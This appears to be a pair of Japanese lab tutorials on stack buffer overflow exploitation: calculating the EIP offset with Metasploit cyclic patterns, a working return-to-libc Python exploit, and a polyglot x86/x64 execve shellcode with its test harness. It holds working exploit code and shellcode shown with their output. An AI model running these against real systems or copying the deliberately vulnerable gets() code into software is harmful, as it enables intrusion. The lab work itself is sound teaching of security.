Metasploit patternによるEIPまでのオフセット計算

スタックバッファオーバーフロー脆弱性が存在する状況において、送り込む文字列と実際に書き変わったEIPを比べることで、EIPまでのオフセットを計算することができる。 ここでは、Metasploit pattern(あるいはcyclic pattern)と呼ばれる文字列を使ったオフセット計算をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

Metasploit Frameworkをインストールする

ここでは、Metasploit patternの生成にMetasploit付属のスクリプトを使うことにする。 ドキュメントを参考に、GithubリポジトリからMetasploitをインストールする。

$ sudo apt-get -y install \
  build-essential zlib1g zlib1g-dev \
  libxml2 libxml2-dev libxslt-dev locate \
  libreadline6-dev libcurl4-openssl-dev git-core \
  libssl-dev libyaml-dev openssl autoconf libtool \
  ncurses-dev bison curl wget postgresql \
  postgresql-contrib libpq-dev \
  libapr1 libaprutil1 libsvn1 \
  libpcap-dev

$ sudo apt-get install libsqlite3-dev  # ドキュメントから抜けている

$ sudo apt-get install ruby1.9.3       # rvmを使う代わりに直接インストール

$ cd /opt

$ sudo git clone https://github.com/rapid7/metasploit-framework.git

$ cd metasploit-framework

$ sudo gem install bundler --no-ri --no-rdoc

$ bundle install

脆弱性のあるプログラムを書いてみる

スタックバッファオーバーフロー脆弱性のあるプログラムを用意する。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    gets(buf);
    puts(buf);
    return 0;
}

DEP有効、ASLR、SSP無効にてコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector bof.c

gdbで起動し、スタックバッファオーバーフローを起こしてみる。

$ python -c 'print "A"*200'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit

スタックバッファオーバーフローによりEIPが 0x41414141 (AAAA) に書き変わった結果、セグメンテーション違反で落ちていることがわかる。

EIPまでのオフセットを計算してみる

pattern_create.rbを使うと、次のような文字列を生成することができる。

$ /opt/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

gdbを使い、この文字列を送り込んでみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
(gdb) quit

EIPが0x64413764に書き変わっていることがわかる。 この4バイト (0x64413764 = "\x64\x37\x41\x64" = "d7Ad") が送り込んだ文字列の何バイト目にあるかを調べることで、EIPまでのオフセットがわかる。 この計算には、同じディレクトリにあるpattern_offset.rbが使える。

$ /opt/metasploit-framework/tools/pattern_offset.rb 0x64413764
[*] Exact match at offset 112

上の結果から、112バイト目からの4バイトがEIPになっていることがわかる。

エクスプロイトコードを書いてみる

得られたオフセットを使い、Return-to-libcでシェルを起動するエクスプロイトコードを書くと次のようになる。

# exploit.py

import sys
import struct
from subprocess import Popen, PIPE

base_libc = int(sys.argv[1], 16)

offset = 112
addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"

buf = 'A' * offset
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
buf += struct.pack('<I', 0)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()

p.stdin.write('exec <&2 >&2\n')
p.wait()

このコードは、libcのベースアドレスを引数に取る。

gdbなどでlibcのベースアドレスを調べ、エクスプロイトコードを実行すると次のようになる。

$ python exploit.py 0xb7e29000
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x84\xe6\xb7\xb0\xbf\xe5\xb7\x98\xad\xf8\xb7\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

EIPが書き変わり、シェルが起動できていることが確認できた。

Pythonスクリプトによる簡易版

Metasploitを使わずに、パターン生成とオフセット計算を行うPythonスクリプトを書くと次のようになる。

# msfpattern.py

import sys
import struct

def generate():
    for x in xrange(0x41, 0x5b):
        for y in xrange(0x61, 0x7b):
            for z in xrange(0x30, 0x3a):
                yield "%c%c%c" % (x, y, z)

cmd = sys.argv[1]

if cmd == 'create':
    size = int(sys.argv[2])
    s = ''
    for x in generate():
        s += x
        if len(s) >= size:
            print s[:size]
            break
    else:
        raise Exception("size too large")
elif cmd == 'offset':
    value = int(sys.argv[2], 16)
    chunk = struct.pack('<I', value)
    s = ''
    for x in generate():
        s += x
        if chunk in s:
            print s.index(chunk)
            break
    else:
        raise Exception("not found")
$ python msfpattern.py create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

$ python msfpattern.py offset 0x64413764
112

関連リンク

x86とx64の両方で動くシェルコードを書いてみる

オペコードの解釈の違いを利用し、Linux x86Linux x64の両方で動くシェルコード(polyglot shellcode)を書いてみる。

環境

Ubuntu 12.04 LTS 32bit版および64bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

x64におけるREXプレフィックス

x64では、レジスタを64bit幅として扱うとき命令の頭にREXプレフィックスと呼ばれる1バイトのプレフィックスがつけられる。 64bitのLinux上で確認してみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ echo "test eax, eax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 85C0          test eax,eax

$ echo "test rax, rax" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 4885C0        test rax,rax

ここでは、48がREXプレフィックスである。

一方、x86では48はdec eaxを意味する。 すなわち、x86x64では48 85 C0の解釈が異なる。

$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86 -D -b binary -m i386 hoge
00000000 <.data>:
   0:   48                      dec    eax
   1:   85 c0                   test   eax,eax

$ echo -en "\x48\x85\xc0" >hoge && objdump -M intel,x86-64 -D -b binary -m i386 hoge
00000000 <.data>:
   0:   48 85 c0                test   rax,rax

これを利用することで、動作しているアーキテクチャx86x64かを判定することができる。

シェルコードを書いてみる

上の違いを利用し、各アーキテクチャ用のシェルコードに分岐するシェルコードを書くと次のようになる。

        /* polyglot.s */
        .intel_syntax noprefix
        .globl _start
_start:
        xor rax, rax
        test rax, rax
        jne x86
x64:
        .ascii "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
x86:
        .ascii "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

x86用は「Linux x86用のシェルコードを書いてみる」x64用は「x64でスタックバッファオーバーフローをやってみる」で作ったシェルコードを利用した。

64bit環境上でアセンブルしてみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ gcc -nostdlib polyglot.s

$ objdump -d a.out
00000000004000d4 <_start>:
  4000d4:       48 31 c0                xor    rax,rax
  4000d7:       48 85 c0                test   rax,rax
  4000da:       75 1d                   jne    4000f9 <x86>

00000000004000dc <x64>:
  4000dc:       48 31 d2                xor    rdx,rdx
  4000df:       52                      push   rdx
  4000e0:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  4000e7:       2f 73 68
  4000ea:       50                      push   rax
  4000eb:       48 89 e7                mov    rdi,rsp
  4000ee:       52                      push   rdx
  4000ef:       57                      push   rdi
  4000f0:       48 89 e6                mov    rsi,rsp
  4000f3:       48 8d 42 3b             lea    rax,[rdx+0x3b]
  4000f7:       0f 05                   syscall

00000000004000f9 <x86>:
  4000f9:       31 d2                   xor    edx,edx
  4000fb:       52                      push   rdx
  4000fc:       68 2f 2f 73 68          push   0x68732f2f
  400101:       68 2f 62 69 6e          push   0x6e69622f
  400106:       89 e3                   mov    ebx,esp
  400108:       52                      push   rdx
  400109:       53                      push   rbx
  40010a:       89 e1                   mov    ecx,esp
  40010c:       8d 42 0b                lea    eax,[rdx+0xb]
  40010f:       cd 80                   int    0x80

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

このシェルコードの長さは61バイトである。

シェルコードをファイルに書き出し、x86x64でそれぞれディスアセンブルしてみると次のようになる。

$ echo -en '\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > polyglot

$ objdump -M intel,x86 -b binary -m i386 -D polyglot
00000000 <.data>:
   0:   48                      dec    eax
   1:   31 c0                   xor    eax,eax
   3:   48                      dec    eax
   4:   85 c0                   test   eax,eax
   6:   75 1d                   jne    0x25
        ...
  25:   31 d2                   xor    edx,edx
  27:   52                      push   edx
  28:   68 2f 2f 73 68          push   0x68732f2f
  2d:   68 2f 62 69 6e          push   0x6e69622f
  32:   89 e3                   mov    ebx,esp
  34:   52                      push   edx
  35:   53                      push   ebx
  36:   89 e1                   mov    ecx,esp
  38:   8d 42 0b                lea    eax,[edx+0xb]
  3b:   cd 80                   int    0x80

$ objdump -M intel,x86-64 -b binary -m i386 -D shellcode
00000000 <.data>:
   0:   48 31 c0                xor    rax,rax
   3:   48 85 c0                test   rax,rax
   6:   75 1d                   jne    0x25
   8:   48 31 d2                xor    rdx,rdx
   b:   52                      push   rdx
   c:   48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  13:   2f 73 68
  16:   50                      push   rax
  17:   48 89 e7                mov    rdi,rsp
  1a:   52                      push   rdx
  1b:   57                      push   rdi
  1c:   48 89 e6                mov    rsi,rsp
  1f:   48 8d 42 3b             lea    rax,[rdx+0x3b]
  23:   0f 05                   syscall
        ...

test eax, eaxはeaxが0かどうかを判定する命令であるが、x86の場合はxor eax, eaxの後dec eaxが実行されるため、これは偽となり0x25にジャンプする。 一方、x64の場合は真となり、ジャンプは行われない。

シェルコードにジャンプするプログラムを書いてみる

スタック上に置いたシェルコードにジャンプするプログラムを書いてみる。

/* shellcode.c */
#include <stdio.h>

int main()
{
    char shellcode[] = "\x48\x31\xc0\x48\x85\xc0\x75\x1d\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    printf("shellcode = %p\n", shellcode);
    (*(void (*)())shellcode)();
}

x86環境で、DEPを無効にしてコンパイル・実行してみる。

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ gcc -z execstack shellcode.c

$ ./a.out
shellcode = 0xbff97d3e
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

x64環境で、DEPを無効にしてコンパイル・実行してみる。

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ gcc -z execstack shellcode.c

$ ./a.out
shellcode = 0x7fff93bc6da0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

同一のシェルコードにより、x86x64の両方でシェルが起動できていることが確認できた。

関連リンク